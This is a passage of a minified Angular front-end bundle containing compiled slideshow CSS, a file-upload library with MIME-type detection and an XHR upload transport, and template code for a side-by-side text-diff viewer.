rotate(135deg);\\n position: relative;\\n right: 20px;\\n margin-left: 10px; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] {\\n display: block;\\n bottom: 15px;\\n z-index: 1;\\n text-align: center;\\n position: absolute;\\n padding: 0;\\n left: 0;\\n right: 0;\\n margin: 0 auto; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] li[_ngcontent-%COMP%] {\\n display: inline;\\n margin: 0;\\n padding: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] li[_ngcontent-%COMP%] button[_ngcontent-%COMP%] {\\n border: none;\\n background: none;\\n text-indent: -9999px;\\n font-size: 0;\\n width: 20px;\\n height: 20px;\\n outline: none;\\n position: relative;\\n z-index: 1;\\n cursor: pointer; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] li[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:before {\\n content: \'\';\\n width: 4px;\\n height: 4px;\\n background: var(--dot-color, #FFF);\\n border-radius: 4px;\\n display: block;\\n position: absolute;\\n top: 50%;\\n left: 50%;\\n -webkit-transform: translate(-50%, -50%);\\n transform: translate(-50%, -50%);\\n opacity: .7;\\n -webkit-transition: all .5s ease-out;\\n transition: all .5s ease-out; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] li.slick-active[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:before {\\n -webkit-transform: translate(-50%, -50%) scale(1.4);\\n transform: translate(-50%, -50%) scale(1.4);\\n opacity: 1; }\\n\\n @media screen and (min-width: 768px) {\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%]:hover:before {\\n opacity: 1; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%]:hover .arrow[_ngcontent-%COMP%] {\\n border-width: 4px; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow[_ngcontent-%COMP%]:hover {\\n border-width: 4px; } }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_slideInRight {\\n 0% {\\n left: -100%; }\\n 100% {\\n left: 0; } }\\n\\n @keyframes _ngcontent-%COMP%_slideInRight {\\n 0% {\\n left: -100%; }\\n 100% {\\n left: 0; } }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_slideInLeft {\\n 0% {\\n left: 100%; }\\n 100% {\\n left: 0; } }\\n\\n @keyframes _ngcontent-%COMP%_slideInLeft {\\n 0% {\\n left: 100%; }\\n 100% {\\n left: 0; } }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_slideOutRight {\\n 0% {\\n left: 0; }\\n 100% {\\n left: -100%; } }\\n\\n @keyframes _ngcontent-%COMP%_slideOutRight {\\n 0% {\\n left: 0; }\\n 100% {\\n left: -100%; } }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_slideOutLeft {\\n 0% {\\n left: 0; }\\n 100% {\\n left: 100%; } }\\n\\n @keyframes _ngcontent-%COMP%_slideOutLeft {\\n 0% {\\n left: 0; }\\n 100% {\\n left: 100%; } }\\n\\n .loader[_ngcontent-%COMP%] {\\n position: absolute;\\n left: 50%;\\n margin-left: -20px;\\n top: 50%;\\n margin-top: -20px;\\n border: 5px solid #f3f3f3;\\n border-top: 5px solid #555;\\n border-radius: 50%;\\n width: 50px;\\n height: 50px;\\n -webkit-animation: _ngcontent-%COMP%_spin 1s linear infinite;\\n animation: _ngcontent-%COMP%_spin 1s linear infinite; }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_spin {\\n 0% {\\n -webkit-transform: rotate(0deg);\\n transform: rotate(0deg); }\\n 100% {\\n -webkit-transform: rotate(360deg);\\n transform: rotate(360deg); } }\\n\\n @keyframes _ngcontent-%COMP%_spin {\\n 0% {\\n -webkit-transform: rotate(0deg);\\n transform: rotate(0deg); }\\n 100% {\\n -webkit-transform: rotate(360deg);\\n transform: rotate(360deg); } }"],changeDetection:0}),oe})(),Q=(()=>{class oe{}return oe.\\u0275fac=function(k){return new(k||oe)},oe.\\u0275mod=n.oAB({type:oe}),oe.\\u0275inj=n.cJS({imports:[a.ez,s.Cu]}),oe})()},162:(At,ae,d)=>{"use strict";d.d(ae,{C6:()=>C,Ob:()=>H,bA:()=>g});var n=d(4650),a=d(6895);class u{constructor(U){this.rawFile=U;let Q=function s(j){return!(!j||!(j.nodeName||j.prop&&j.attr&&j.find))}(U)?U.value:U;this["_createFrom"+("string"==typeof Q?"FakePath":"Object")](Q)}_createFromFakePath(U){this.lastModifiedDate=void 0,this.size=void 0,this.type="like/"+U.slice(U.lastIndexOf(".")+1).toLowerCase(),this.name=U.slice(U.lastIndexOf("/")+U.lastIndexOf("\\\\")+2)}_createFromObject(U){this.size=U.size,this.type=U.type,this.name=U.name}}class c{constructor(U,G,Q){this.url="/",this.headers=[],this.withCredentials=!0,this.formData=[],this.isReady=!1,this.isUploading=!1,this.isUploaded=!1,this.isSuccess=!1,this.isCancel=!1,this.isError=!1,this.progress=0,this.index=void 0,this.uploader=U,this.some=G,this.options=Q,this.file=new u(G),this._file=G,U.options&&(this.method=U.options.method||"POST",this.alias=U.options.itemAlias||"file"),this.url=U.options.url}upload(){try{this.uploader.uploadItem(this)}catch{this.uploader._onCompleteItem(this,"",0,{}),this.uploader._onErrorItem(this,"",0,{})}}cancel(){this.uploader.cancelItem(this)}remove(){this.uploader.removeFromQueue(this)}onBeforeUpload(){}onBuildForm(U){return{form:U}}onProgress(U){return{progress:U}}onSuccess(U,G,Q){return{response:U,status:G,headers:Q}}onError(U,G,Q){return{response:U,status:G,headers:Q}}onCancel(U,G,Q){return{response:U,status:G,headers:Q}}onComplete(U,G,Q){return{response:U,status:G,headers:Q}}_onBeforeUpload(){this.isReady=!0,this.isUploading=!0,this.isUploaded=!1,this.isSuccess=!1,this.isCancel=!1,this.isError=!1,this.progress=0,this.onBeforeUpload()}_onBuildForm(U){this.onBuildForm(U)}_onProgress(U){this.progress=U,this.onProgress(U)}_onSuccess(U,G,Q){this.isReady=!1,this.isUploading=!1,this.isUploaded=!0,this.isSuccess=!0,this.isCancel=!1,this.isError=!1,this.progress=100,this.index=void 0,this.onSuccess(U,G,Q)}_onError(U,G,Q){this.isReady=!1,this.isUploading=!1,this.isUploaded=!0,this.isSuccess=!1,this.isCancel=!1,this.isError=!0,this.progress=0,this.index=void 0,this.onError(U,G,Q)}_onCancel(U,G,Q){this.isReady=!1,this.isUploading=!1,this.isUploaded=!1,this.isSuccess=!1,this.isCancel=!0,this.isError=!1,this.progress=0,this.index=void 0,this.onCancel(U,G,Q)}_onComplete(U,G,Q){this.onComplete(U,G,Q),this.uploader.options.removeAfterUpload&&this.remove()}_prepareToUploading(){this.index=this.index||++this.uploader._nextIndex,this.isReady=!0}}let f=(()=>{class j{static getMimeClass(G){let Q="application";return-1!==this.mime_psd.indexOf(G.type)||G.type.match("image.*")?Q="image":G.type.match("video.*")?Q="video":G.type.match("audio.*")?Q="audio":"application/pdf"===G.type?Q="pdf":-1!==this.mime_compress.indexOf(G.type)?Q="compress":-1!==this.mime_doc.indexOf(G.type)?Q="doc":-1!==this.mime_xsl.indexOf(G.type)?Q="xls":-1!==this.mime_ppt.indexOf(G.type)&&(Q="ppt"),"application"===Q&&(Q=this.fileTypeDetection(G.name)),Q}static fileTypeDetection(G){let Q={jpg:"image",jpeg:"image",tif:"image",psd:"image",bmp:"image",png:"image",nef:"image",tiff:"image",cr2:"image",dwg:"image",cdr:"image",ai:"image",indd:"image",pin:"image",cdp:"image",skp:"image",stp:"image","3dm":"image",mp3:"audio",wav:"audio",wma:"audio",mod:"audio",m4a:"audio",compress:"compress",zip:"compress",rar:"compress","7z":"compress",lz:"compress",z01:"compress",bz2:"compress",gz:"compress",pdf:"pdf",xls:"xls",xlsx:"xls",ods:"xls",mp4:"video",avi:"video",wmv:"video",mpg:"video",mts:"video",flv:"video","3gp":"video",vob:"video",m4v:"video",mpeg:"video",m2ts:"video",mov:"video",doc:"doc",docx:"doc",eps:"doc",txt:"doc",odt:"doc",rtf:"doc",ppt:"ppt",pptx:"ppt",pps:"ppt",ppsx:"ppt",odp:"ppt"},oe=G.split(".");if(oe.length<2)return"application";let Ce=oe[oe.length-1].toLowerCase();return void 0===Q[Ce]?"application":Q[Ce]}}return j.mime_doc=["application/msword","application/msword","application/vnd.openxmlformats-officedocument.wordprocessingml.document","application/vnd.openxmlformats-officedocument.wordprocessingml.template","application/vnd.ms-word.document.macroEnabled.12","application/vnd.ms-word.template.macroEnabled.12"],j.mime_xsl=["application/vnd.ms-excel","application/vnd.ms-excel","application/vnd.ms-excel","application/vnd.openxmlformats-officedocument.spreadsheetml.sheet","application/vnd.openxmlformats-officedocument.spreadsheetml.template","application/vnd.ms-excel.sheet.macroEnabled.12","application/vnd.ms-excel.template.macroEnabled.12","application/vnd.ms-excel.addin.macroEnabled.12","application/vnd.ms-excel.sheet.binary.macroEnabled.12"],j.mime_ppt=["application/vnd.ms-powerpoint","application/vnd.ms-powerpoint","application/vnd.ms-powerpoint","application/vnd.ms-powerpoint","application/vnd.openxmlformats-officedocument.presentationml.presentation","application/vnd.openxmlformats-officedocument.presentationml.template","application/vnd.openxmlformats-officedocument.presentationml.slideshow","application/vnd.ms-powerpoint.addin.macroEnabled.12","application/vnd.ms-powerpoint.presentation.macroEnabled.12","application/vnd.ms-powerpoint.presentation.macroEnabled.12","application/vnd.ms-powerpoint.slideshow.macroEnabled.12"],j.mime_psd=["image/photoshop","image/x-photoshop","image/psd","application/photoshop","application/psd","zz-application/zz-winassoc-psd"],j.mime_compress=["application/x-gtar","application/x-gcompress","application/compress","application/x-tar","application/x-rar-compressed","application/octet-stream","application/x-zip-compressed","application/zip-compressed","application/x-7z-compressed","application/gzip","application/x-bzip2"],j})();class g{constructor(U){this.isUploading=!1,this.queue=[],this.progress=0,this._nextIndex=0,this.options={autoUpload:!1,isHTML5:!0,filters:[],removeAfterUpload:!1,disableMultipart:!1,formatDataFunction:G=>G._file,formatDataFunctionIsAsync:!1},this.setOptions(U),this.response=new n.vpe}setOptions(U){this.options=Object.assign(this.options,U),this.authToken=this.options.authToken,this.authTokenHeader=this.options.authTokenHeader||"Authorization",this.autoUpload=this.options.autoUpload,this.options.filters.unshift({name:"queueLimit",fn:this._queueLimitFilter}),this.options.maxFileSize&&this.options.filters.unshift({name:"fileSize",fn:this._fileSizeFilter}),this.options.allowedFileType&&this.options.filters.unshift({name:"fileType",fn:this._fileTypeFilter}),this.options.allowedMimeType&&this.options.filters.unshift({name:"mimeType",fn:this._mimeTypeFilter});for(let G=0;G<this.queue.length;G++)this.queue[G].url=this.options.url}addToQueue(U,G,Q){let oe=[];for(let se of U)oe.push(se);let Ce=this._getFilters(Q),k=this.queue.length,K=[];oe.map(se=>{G||(G=this.options);let ee=new u(se);if(this._isValidFile(ee,Ce,G)){let q=new c(this,se,G);K.push(q),this.queue.push(q),this._onAfterAddingFile(q)}else this._onWhenAddingFileFailed(ee,Ce[this._failFilterIndex],G)}),this.queue.length!==k&&(this._onAfterAddingAll(K),this.progress=this._getTotalProgress()),this._render(),this.options.autoUpload&&this.uploadAll()}removeFromQueue(U){let G=this.getIndexOfItem(U),Q=this.queue[G];Q.isUploading&&Q.cancel(),this.queue.splice(G,1),this.progress=this._getTotalProgress()}clearQueue(){for(;this.queue.length;)this.queue[0].remove();this.progress=0}uploadItem(U){let G=this.getIndexOfItem(U),Q=this.queue[G],oe=this.options.isHTML5?"_xhrTransport":"_iframeTransport";Q._prepareToUploading(),!this.isUploading&&(this.isUploading=!0,this[oe](Q))}cancelItem(U){let G=this.getIndexOfItem(U),Q=this.queue[G];Q&&Q.isUploading&&(this.options.isHTML5?Q._xhr:Q._form).abort()}uploadAll(){let U=this.getNotUploadedItems().filter(G=>!G.isUploading);U.length&&(U.map(G=>G._prepareToUploading()),U[0].upload())}cancelAll(){this.getNotUploadedItems().map(G=>G.cancel())}isFile(U){return function E(j){return File&&j instanceof File}(U)}isFileLikeObject(U){return U instanceof u}getIndexOfItem(U){return"number"==typeof U?U:this.queue.indexOf(U)}getNotUploadedItems(){return this.queue.filter(U=>!U.isUploaded)}getReadyItems(){return this.queue.filter(U=>U.isReady&&!U.isUploading).sort((U,G)=>U.index-G.index)}destroy(){}onAfterAddingAll(U){return{fileItems:U}}onBuildItemForm(U,G){return{fileItem:U,form:G}}onAfterAddingFile(U){return{fileItem:U}}onWhenAddingFileFailed(U,G,Q){return{item:U,filter:G,options:Q}}onBeforeUploadItem(U){return{fileItem:U}}onProgressItem(U,G){return{fileItem:U,progress:G}}onProgressAll(U){return{progress:U}}onSuccessItem(U,G,Q,oe){return{item:U,response:G,status:Q,headers:oe}}onErrorItem(U,G,Q,oe){return{item:U,response:G,status:Q,headers:oe}}onCancelItem(U,G,Q,oe){return{item:U,response:G,status:Q,headers:oe}}onCompleteItem(U,G,Q,oe){return{item:U,response:G,status:Q,headers:oe}}onCompleteAll(){}_mimeTypeFilter(U){return!(this.options.allowedMimeType&&-1===this.options.allowedMimeType.indexOf(U.type))}_fileSizeFilter(U){return!(this.options.maxFileSize&&U.size>this.options.maxFileSize)}_fileTypeFilter(U){return!(this.options.allowedFileType&&-1===this.options.allowedFileType.indexOf(f.getMimeClass(U)))}_onErrorItem(U,G,Q,oe){U._onError(G,Q,oe),this.onErrorItem(U,G,Q,oe)}_onCompleteItem(U,G,Q,oe){U._onComplete(G,Q,oe),this.onCompleteItem(U,G,Q,oe);let Ce=this.getReadyItems()[0];this.isUploading=!1,Ce?Ce.upload():(this.onCompleteAll(),this.progress=this._getTotalProgress(),this._render())}_headersGetter(U){return G=>G?U[G.toLowerCase()]||void 0:U}_xhrTransport(U){let oe,G=this,Q=U._xhr=new XMLHttpRequest;if(this._onBeforeUploadItem(U),"number"!=typeof U._file.size)throw new TypeError("The file specified is no longer valid");if(this.options.disableMultipart)oe=this.options.formatDataFunction(U);else{oe=new FormData,this._onBuildItemForm(U,oe);const Ce=()=>oe.append(U.alias,U._file,U.file.name);this.options.parametersBeforeFiles||Ce(),void 0!==this.options.additionalParameter&&Object.keys(this.options.additionalParameter).forEach(k=>{let K=this.options.additionalParameter[k];"string"==typeof K&&K.indexOf("{{file_name}}")>=0&&(K=K.replace("{{file_name}}",U.file.name)),oe.append(k,K)}),this.options.parametersBeforeFiles&&Ce()}if(Q.upload.onprogress=Ce=>{let k=Math.round(Ce.lengthComputable?100*Ce.loaded/Ce.total:0);this._onProgressItem(U,k)},Q.onload=()=>{let Ce=this._parseHeaders(Q.getAllResponseHeaders()),k=this._transformResponse(Q.response,Ce);this["_on"+(this._isSuccessCode(Q.status)?"Success":"Error")+"Item"](U,k,Q.status,Ce),this._onCompleteItem(U,k,Q.status,Ce)},Q.onerror=()=>{let Ce=this._parseHeaders(Q.getAllResponseHeaders()),k=this._transformResponse(Q.response,Ce);this._onErrorItem(U,k,Q.status,Ce),this._onCompleteItem(U,k,Q.status,Ce)},Q.onabort=()=>{let Ce=this._parseHeaders(Q.getAllResponseHeaders()),k=this._transformResponse(Q.response,Ce);this._onCancelItem(U,k,Q.status,Ce),this._onCompleteItem(U,k,Q.status,Ce)},Q.open(U.method,U.url,!0),Q.withCredentials=U.withCredentials,this.options.headers)for(let Ce of this.options.headers)Q.setRequestHeader(Ce.name,Ce.value);if(U.headers.length)for(let Ce of U.headers)Q.setRequestHeader(Ce.name,Ce.value);this.authToken&&Q.setRequestHeader(this.authTokenHeader,this.authToken),Q.onreadystatechange=function(){Q.readyState==XMLHttpRequest.DONE&&G.response.emit(Q.responseText)},this.options.formatDataFunctionIsAsync?oe.then(Ce=>Q.send(JSON.stringify(Ce))):Q.send(oe),this._render()}_getTotalProgress(U=0){if(this.options.removeAfterUpload)return U;let G=this.getNotUploadedItems().length,oe=100/this.queue.length;return Math.round((G?this.queue.length-G:this.queue.length)*oe+U*oe/100)}_getFilters(U){if(!U)return this.options.filters;if(Array.isArray(U))return U;if("string"==typeof U){let G=U.match(/[^\\s,]+/g);return this.options.filters.filter(Q=>-1!==G.indexOf(Q.name))}return this.options.filters}_render(){}_queueLimitFilter(){return void 0===this.options.queueLimit||this.queue.length<this.options.queueLimit}_isValidFile(U,G,Q){return this._failFilterIndex=-1,!G.length||G.every(oe=>(this._failFilterIndex++,oe.fn.call(this,U,Q)))}_isSuccessCode(U){return U>=200&&U<300||304===U}_transformResponse(U,G){return U}_parseHeaders(U){let Q,oe,Ce,G={};return U&&U.split("\\n").map(k=>{Ce=k.indexOf(":"),Q=k.slice(0,Ce).trim().toLowerCase(),oe=k.slice(Ce+1).trim(),Q&&(G[Q]=G[Q]?G[Q]+", "+oe:oe)}),G}_onWhenAddingFileFailed(U,G,Q){this.onWhenAddingFileFailed(U,G,Q)}_onAfterAddingFile(U){this.onAfterAddingFile(U)}_onAfterAddingAll(U){this.onAfterAddingAll(U)}_onBeforeUploadItem(U){U._onBeforeUpload(),this.onBeforeUploadItem(U)}_onBuildItemForm(U,G){U._onBuildForm(G),this.onBuildItemForm(U,G)}_onProgressItem(U,G){let Q=this._getTotalProgress(G);this.progress=Q,U._onProgress(G),this.onProgressItem(U,G),this.onProgressAll(Q),this._render()}_onSuccessItem(U,G,Q,oe){U._onSuccess(G,Q,oe),this.onSuccessItem(U,G,Q,oe)}_onCancelItem(U,G,Q,oe){U._onCancel(G,Q,oe),this.onCancelItem(U,G,Q,oe)}}let C=(()=>{class j{constructor(G){this.onFileSelected=new n.vpe,this.element=G}getOptions(){return this.uploader.options}getFilters(){return{}}isEmptyAfterSelection(){return!!this.element.nativeElement.attributes.multiple}onChange(){let G=this.element.nativeElement.files,Q=this.getOptions(),oe=this.getFilters();this.uploader.addToQueue(G,Q,oe),this.onFileSelected.emit(G),this.isEmptyAfterSelection()&&(this.element.nativeElement.value="")}}return j.\\u0275fac=function(G){return new(G||j)(n.Y36(n.SBq))},j.\\u0275dir=n.lG2({type:j,selectors:[["","ng2FileSelect",""]],hostBindings:function(G,Q){1&G&&n.NdJ("change",function(){return Q.onChange()})},inputs:{uploader:"uploader"},outputs:{onFileSelected:"onFileSelected"}}),j})(),H=(()=>{class j{}return j.\\u0275fac=function(G){return new(G||j)},j.\\u0275mod=n.oAB({type:j}),j.\\u0275inj=n.cJS({imports:[a.ez]}),j})()},5244:(At,ae,d)=>{"use strict";d.d(ae,{mC:()=>Be,zB:()=>ve});var n=d(655),a=d(4650),s=d(3969),c=d(6498),f=d(7261),E=d(6895),_=d(4006);function S(pe,P){if(1&pe){const w=a.EpF();a.TgZ(0,"div",9)(1,"div",10)(2,"label",11),a._uU(3),a.TgZ(4,"input",12),a.NdJ("ngModelChange",function(X){a.CHM(w);const _e=a.oxw(2);return a.KtG(_e.hideMatchingLinesChanged(X))}),a.qZA(),a._UZ(5,"span",13),a.qZA()()()}if(2&pe){const w=a.oxw(2);a.Q6J("ngClass",w.toolbarClass)("ngStyle",w.toolbarStyle),a.xp6(3),a.hij(" Only Show Lines with Differences (",w.diffsCount,") "),a.xp6(1),a.Q6J("ngModel",w.hideMatchingLines)}}const g=function(pe,P){return{active:pe,disabled:P}};function C(pe,P){if(1&pe){const w=a.EpF();a.TgZ(0,"button",17),a.NdJ("click",function(){const _e=a.CHM(w).$implicit,ct=a.oxw(3);return a.KtG(ct.setDiffTableFormat(_e.value))}),a._uU(1),a.qZA()}if(2&pe){const w=P.$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(5,g,R.format===w.value,!!w.disabled))("name",w.name)("id",w.id)("disabled",!!w.disabled),a.xp6(1),a.hij(" ",w.label," ")}}function z(pe,P){if(1&pe&&(a.TgZ(0,"div",14)(1,"div",15),a.YNc(2,C,2,8,"button",16),a.qZA()()),2&pe){const w=a.oxw(2);a.xp6(2),a.Q6J("ngForOf",w.formatOptions)}}const H=function(pe,P){return{"delete-row":pe,"empty-row":P}};function j(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a._UZ(1,"span",25),a.ALo(2,"formatLine"),a.qZA()),2&pe){const w=a.oxw().$implicit;a.Q6J("ngClass",a.WLB(4,H,"-"===(null==w.leftContent?null:w.leftContent.prefix),!(null!=w.leftContent&&w.leftContent.lineContent))),a.xp6(1),a.Q6J("innerHTML",a.lcZ(2,2,null==w.leftContent?null:w.leftContent.lineContent),a.oJD)}}const U=function(pe){return{highlight:pe}};function G(pe,P){if(1&pe&&(a._UZ(0,"span",27),a.ALo(1,"formatLine")),2&pe){const w=P.$implicit;a.Q6J("innerHTML",a.lcZ(1,2,w.content),a.oJD)("ngClass",a.VKq(4,U,w.isDiff))}}function Q(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a.YNc(1,G,2,6,"span",26),a.qZA()),2&pe){const w=a.oxw().$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(3,H,"-"===(null==w.leftContent?null:w.leftContent.prefix),!(null!=w.leftContent&&w.leftContent.lineContent))),a.xp6(1),a.Q6J("ngForOf",null==w.leftContent?null:w.leftContent.lineDiffs)("ngForTrackBy",R.trackDiffs)}}function oe(pe,P){if(1&pe&&(a.TgZ(0,"tr")(1,"td",21),a._uU(2),a.qZA(),a.TgZ(3,"td",22)(4,"span"),a._uU(5),a.qZA()(),a.YNc(6,j,3,7,"td",23),a.YNc(7,Q,2,6,"td",23),a.qZA()),2&pe){const w=P.$implicit;a.xp6(1),a.Q6J("ngClass",a.WLB(6,H,"-"===(null==w.leftContent?null:w.leftContent.prefix),!(null!=w.leftContent&&w.leftContent.lineContent))),a.xp6(1),a.hij(" ",-1!==(null==w.leftContent?null:w.leftContent.lineNumber)?null==w.leftContent?null:w.leftContent.lineNumber:" "," "),a.xp6(1),a.Q6J("ngClass",a.WLB(9,H,"-"===(null==w.leftContent?null:w.leftContent.prefix),!(null!=w.leftContent&&w.leftContent.lineContent))),a.xp6(2),a.Oqu((null==w.leftContent?null:w.leftContent.prefix)||" "),a.xp6(1),a.Q6J("ngIf",!w.hasDiffs),a.xp6(1),a.Q6J("ngIf",w.hasDiffs)}}function Ce(pe,P){if(1&pe&&(a.TgZ(0,"div",18)(1,"table",19)(2,"tbody"),a.YNc(3,oe,8,12,"tr",20),a.qZA()()()),2&pe){const w=a.oxw(2);a.xp6(3),a.Q6J("ngForOf",w.filteredTableRows)("ngForTrackBy",w.trackTableRows)}}const k=function(pe,P){return{"insert-row":pe,"empty-row":P}};function K(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a._UZ(1,"span",25),a.ALo(2,"formatLine"),a.qZA()),2&pe){const w=a.oxw().$implicit;a.Q6J("ngClass",a.WLB(4,k,"+"===(null==w.rightContent?null:w.rightContent.prefix),!(null!=w.rightContent&&w.rightContent.lineContent))),a.xp6(1),a.Q6J("innerHTML",a.lcZ(2,2,null==w.rightContent?null:w.rightContent.lineContent),a.oJD)}}function se(pe,P){if(1&pe&&(a._UZ(0,"span",27),a.ALo(1,"formatLine")),2&pe){const w=P.$implicit;a.Q6J("innerHTML",a.lcZ(1,2,w.content),a.oJD)("ngClass",a.VKq(4,U,w.isDiff))}}function ee(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a.YNc(1,se,2,6,"span",26),a.qZA()),2&pe){const w=a.oxw().$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(3,k,"+"===(null==w.rightContent?null:w.rightContent.prefix),!(null!=w.rightContent&&w.rightContent.lineContent))),a.xp6(1),a.Q6J("ngForOf",null==w.rightContent?null:w.rightContent.lineDiffs)("ngForTrackBy",R.trackDiffs)}}function q(pe,P){if(1&pe&&(a.TgZ(0,"tr")(1,"td",21),a._uU(2),a.qZA(),a.TgZ(3,"td",22)(4,"span"),a._uU(5),a.qZA()(),a.YNc(6,K,3,7,"td",23),a.YNc(7,ee,2,6,"td",23),a.qZA()),2&pe){const w=P.$implicit;a.xp6(1),a.Q6J("ngClass",a.WLB(6,k,"+"===(null==w.rightContent?null:w.rightContent.prefix),!(null!=w.rightContent&&w.rightContent.lineContent))),a.xp6(1),a.hij(" ",-1!==(null==w.rightContent?null:w.rightContent.lineNumber)?null==w.rightContent?null:w.rightContent.lineNumber:" "," "),a.xp6(1),a.Q6J("ngClass",a.WLB(9,k,"+"===(null==w.rightContent?null:w.rightContent.prefix),!(null!=w.rightContent&&w.rightContent.lineContent))),a.xp6(2),a.Oqu((null==w.rightContent?null:w.rightContent.prefix)||" "),a.xp6(1),a.Q6J("ngIf",!w.hasDiffs),a.xp6(1),a.Q6J("ngIf",w.hasDiffs)}}function we(pe,P){if(1&pe&&(a.TgZ(0,"div",28)(1,"table",19)(2,"tbody"),a.YNc(3,q,8,12,"tr",20),a.qZA()()()),2&pe){const w=a.oxw(2);a.xp6(3),a.Q6J("ngForOf",w.filteredTableRows)("ngForTrackBy",w.trackTableRows)}}const ce=function(pe,P){return{"delete-row":pe,"insert-row":P}};function je(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a._UZ(1,"span",25),a.ALo(2,"formatLine"),a.qZA()),2&pe){const w=a.oxw().$implicit;a.Q6J("ngClass",a.WLB(4,ce,"-"===(null==w.leftContent?null:w.leftContent.prefix),"+"===(null==w.rightContent?null:w.rightContent.prefix))),a.xp6(1),a.Q6J("innerHTML",a.lcZ(2,2,null==w.leftContent?null:w.leftContent.lineContent),a.oJD)}}function Ze(pe,P){if(1&pe&&(a._UZ(0,"span",27),a.ALo(1,"formatLine")),2&pe){const w=P.$implicit;a.Q6J("innerHTML",a.lcZ(1,2,w.content),a.oJD)("ngClass",a.VKq(4,U,w.isDiff))}}function le(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a.YNc(1,Ze,2,6,"span",26),a.qZA()),2&pe){const w=a.oxw().$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(3,ce,"-"===(null==w.leftContent?null:w.leftContent.prefix),"+"===(null==w.rightContent?null:w.rightContent.prefix))),a.xp6(1),a.Q6J("ngForOf",null==w.leftContent?null:w.leftContent.lineDiffs)("ngForTrackBy",R.trackDiffs)}}function Oe(pe,P){if(1&pe&&(a._UZ(0,"span",27),a.ALo(1,"formatLine")),2&pe){const w=P.$implicit;a.Q6J("innerHTML",a.lcZ(1,2,w.content),a.oJD)("ngClass",a.VKq(4,U,w.isDiff))}}function Qe(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a.YNc(1,Oe,2,6,"span",26),a.qZA()),2&pe){const w=a.oxw().$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(3,ce,"-"===(null==w.leftContent?null:w.leftContent.prefix),"+"===(null==w.rightContent?null:w.rightContent.prefix))),a.xp6(1),a.Q6J("ngForOf",null==w.rightContent?null:w.rightContent.lineDiffs)("ngForTrackBy",R.trackDiffs)}}function Ye(pe,P){if(1&pe&&(a.TgZ(0,"tr")(1,"td",30),a._uU(2),a.qZA(),a.TgZ(3,"td",31),a._uU(4),a.qZA(),a.TgZ(5,"td",22)(6,"span"),a._uU(7),a.qZA()(),a.YNc(8,je,3,7,"td",23),a.YNc(9,le,2,6,"td",23),a.YNc(10,Qe,2,6,"td",23),a.qZA()),2&pe){const w=P.$implicit;a.xp6(2),a.Oqu(null==w.leftContent?null:w.leftContent.lineNumber),a.xp6(2),a.Oqu(null==w.rightContent?null:w.rightContent.lineNumber),a.xp6(1),a.Q6J("ngClass",a.WLB(7,ce,"-"===(null==w.leftContent?null:w.leftContent.prefix),"+"===(null==w.rightContent?null:w.rightContent.prefix))),a.xp6(2),a.Oqu((null==w.leftContent?null:w.leftContent.prefix)||(null==w.rightContent?null:w.rightContent.prefix)||" "),a.xp6(1),a.Q6J("ngIf",!w.hasDiffs),a.xp6(1),a.Q6J("ngIf",w.hasDiffs&&w.leftContent&&0!==(null==w.leftContent?null:w.leftContent.lineDiffs.length)),a.xp6(1),a.Q6J("ngIf",w.hasDiffs&&w.rightContent&&0!==(null==w.rightContent?null:w.rightContent.lineDiffs.length))}}function qe(pe,P){if(1&pe&&(a.TgZ(0,"div",29)(1,"table",19)(2,"tbody"),a.YNc(3,Ye,11,10,"tr",20),a.qZA()()()),2&pe){const w=a.oxw(2);a.xp6(3),a.Q6J("ngForOf",w.filteredTableRowsLineByLine)("ngForTrackBy",w.trackTableRows)}}function Ke(pe,P){if(1&pe&&(a.TgZ(0,"div",2),a.YNc(1,S,6,4,"div",3),a.YNc(2,z,3,1,"div",4),a.TgZ(3,"div",5),a.YNc(4,Ce,4,2,"div",6),a.YNc(5,we,4,2,"div",7),a.YNc(6,qe,4,2,"div",8),a.qZA()()),2&pe){const w=a.oxw();a.Q6J("ngClass",w.outerContainerClass)("ngStyle",w.outerContainerStyle),a.xp6(1),a.Q6J("ngIf",w.showToolbar),a.xp6(1),a.Q6J("ngIf",w.showToolbar&&w.showBtnToolbar),a.xp6(1),a.Q6J("ngClass",w.compareRowsClass)("ngStyle",w.compareRowsStyle),a.xp6(1),a.Q6J("ngIf","SideBySide"===w.format),a.xp6(1),a.Q6J("ngIf","SideBySide"===w.format),a.xp6(1),a.Q6J("ngIf","LineByLine"===w.format)}}function dt(pe,P){1&pe&&(a.TgZ(0,"div",1),a._UZ(1,"div")(2,"div")(3,"div")(4,"div")(5,"div")(6,"div")(7,"div")(8,"div"),a.qZA())}const ze=pe=>null==pe||!(Object.keys(pe)||pe).length||0===(Object.keys(pe)||pe).length;let De=(()=>{let pe=class{constructor(){this.initParser()}initParser(){this.diffParser=new s.diff_match_patch}getDiffsByLines(w,R){return new Promise((X,_e)=>{const ct=this.diffParser.diff_linesToChars_(w,R),Dt=ct.lineArray,Pt=this.diffParser.diff_main(ct.chars1,ct.chars2,!0);this.diffParser.diff_charsToLines_(Pt,Dt);const 